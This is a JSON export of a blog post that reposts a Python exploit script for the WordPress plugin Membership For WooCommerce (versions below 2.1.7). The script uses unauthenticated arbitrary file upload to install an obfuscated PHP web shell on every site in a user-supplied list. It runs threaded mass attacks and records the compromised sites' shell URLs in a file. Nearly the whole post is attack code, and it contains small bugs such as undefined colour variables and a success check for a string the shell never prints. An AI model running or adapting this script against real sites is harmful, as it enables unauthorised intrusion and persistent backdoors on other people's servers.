{"id":56090,"date":"2024-04-04T19:29:57","date_gmt":"2024-04-04T15:29:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177934\/wpmwc-shell.txt"},"modified":"2024-04-04T19:29:57","modified_gmt":"2024-04-04T15:29:57","slug":"wordpress-membership-for-woocommerce-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-membership-for-woocommerce-shell-upload\/","title":{"rendered":"WordPress Membership For WooCommerce Shell Upload"},"content":{"rendered":"<p># Exploit Title: Wordpress Plugin &#8211; Membership For WooCommerce &lt; v2.1.7 &#8211; Arbitrary File Upload to Shell (Unauthenticated)<br \/># Date: 2024-02-25<br \/># Author: Milad Karimi (Ex3ptionaL)<br \/># Category : webapps<br \/># Tested on: windows 10 , firefox<\/p>\n<p>import sys , requests, re , json<br \/>from multiprocessing.dummy import Pool<br \/>from colorama import Fore<br \/>from colorama import init<br \/>init(autoreset=True)<\/p>\n<p>headers = {&#8216;Connection&#8217;: &#8216;keep-alive&#8217;, &#8216;Cache-Control&#8217;: &#8216;max-age=0&#8217;,<br \/>&#8216;Upgrade-Insecure-Requests&#8217;: &#8216;1&#8217;, &#8216;User-Agent&#8217;: &#8216;Mozlila\/5.0 (Linux;<br \/>Android 7.0; SM-G892A Bulid\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like<br \/>Gecko) Version\/4.0 Chrome\/60.0.3112.107 Moblie Safari\/537.36&#8242;, &#8216;Accept&#8217;:<br \/>&#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8&#8217;,<br \/>&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;, &#8216;Accept-Language&#8217;:<br \/>&#8216;en-US,en;q=0.9,fr;q=0.8&#8217;, &#8216;referer&#8217;: &#8216;www.google.com&#8217;}<\/p>\n<p>uploader = &#8220;&#8221;&#8221;<br \/>GIF89a<br \/>&lt;?php ?&gt;<br \/>&lt;!DOCTYPE html&gt;<br \/>&lt;html&gt;<br \/>&lt;head&gt;<br \/>&lt;title&gt;Resultz&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;&lt;h1&gt;Uploader&lt;\/h1&gt;<br \/>&lt;form enctype=&#8217;multipart\/form-data&#8217; action=&#8221; method=&#8217;POST&#8217;&gt;<br \/>&lt;p&gt;Uploaded&lt;\/p&gt;<br \/>&lt;input type=&#8217;file&#8217; name=&#8217;uploaded_file&#8217;&gt;&lt;\/input&gt;&lt;br \/&gt;<br \/>&lt;input type=&#8217;submit&#8217; value=&#8217;Upload&#8217;&gt;&lt;\/input&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<br \/>&lt;?PHP<br \/>if(!empty($_FILES[base64_decode(&#8216;dXBsb2FkZWRfZmlsZQ==&#8217;)])){$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=base64_decode(&#8216;Li8=&#8217;);$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485.basename($_FILES[base64_decode(&#8216;dXBsb2FkZWRfZmlsZQ==&#8217;)][base64_decode(&#8216;bmFtZQ==&#8217;)]);if(move_uploaded_file($_FILES[base64_decode(&#8216;dXBsb2FkZWRfZmlsZQ==&#8217;)][base64_decode(&#8216;dG1wX25hbWU=&#8217;)],$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485)){echo<br \/>base64_decode(&#8216;VGhlIGZpbGUg&#8217;).basename($_FILES[base64_decode(&#8216;dXBsb2FkZWRfZmlsZQ==&#8217;)][base64_decode(&#8216;bmFtZQ==&#8217;)]).base64_decode(&#8216;IGhhcyBiZWVuIHVwbG9hZGVk&#8217;);}else{echo<br \/>base64_decode(&#8216;VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZSwgcGxlYXNlIHRyeSBhZ2FpbiE=&#8217;);}}?&gt;<br \/>&#8220;&#8221;&#8221;<br \/>requests.urllib3.disable_warnings()<\/p>\n<p>def Exploit(Domain):<br \/>try:<br \/>if &#8216;http&#8217; in Domain:<br \/>Domain = Domain<br \/>else:<br \/>Domain = &#8216;http:\/\/&#8217;+Domain<br \/>myup = {&#8221;: (&#8216;db.php&#8217;, uploader)}<br \/>req = requests.post(Domain +<br \/>&#8216;\/wp-admin\/admin-ajax.php?action=wps_membership_csv_file_upload&#8217;,<br \/>files=myup, headers=headers,verify=False, timeout=10).text<br \/>req1 = requests.get(Domain +<br \/>&#8216;\/wp-content\/uploads\/mfw-activity-logger\/csv-uploads\/db.php&#8217;)<br \/>if &#8216;Ex3ptionaL&#8217; in req1:<br \/>print (fg+'[+] &#8216;+ Domain + &#8216; &#8211;&gt; Shell Uploaded&#8217;)<br \/>open(&#8216;Shellz.txt&#8217;, &#8216;a&#8217;).write(Domain +<br \/>&#8216;\/wp-content\/uploads\/mfw-activity-logger\/csv-uploads\/db.php&#8217; + &#8216;\\n&#8217;)<br \/>else:<br \/>print (fr+'[+] &#8216;+ Domain + &#8216;{}{} &#8211;&gt; Not Vulnerability&#8217;)<br \/>except:<br \/>print(fr+&#8217; -| &#8216; + Domain + &#8216; &#8211;&gt; {} [Failed]&#8217;)<\/p>\n<p>target = open(input(fm+&#8221;Site List: &#8220;), &#8220;r&#8221;).read().splitlines()<br \/>mp = Pool(int(input(fm+&#8221;Threads: &#8220;)))<br \/>mp.map(Exploit, target)<br \/>mp.close()<br \/>mp.join()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Wordpress Plugin &#8211; Membership For WooCommerce &lt; v2.1.7 &#8211; Arbitrary File Upload to Shell (Unauthenticated)# Date: 2024-02-25# Author: Milad Karimi (Ex3ptionaL)# Category : webapps# Tested on: windows 10 , firefox import sys , requests, re , jsonfrom multiprocessing.dummy import Poolfrom colorama import Forefrom colorama import initinit(autoreset=True) headers = {&#8216;Connection&#8217;: &#8216;keep-alive&#8217;, &#8216;Cache-Control&#8217;: &#8216;max-age=0&#8217;,&#8216;Upgrade-Insecure-Requests&#8217;: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56090","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56090","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56090"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56090\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56090"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56090"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56090"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}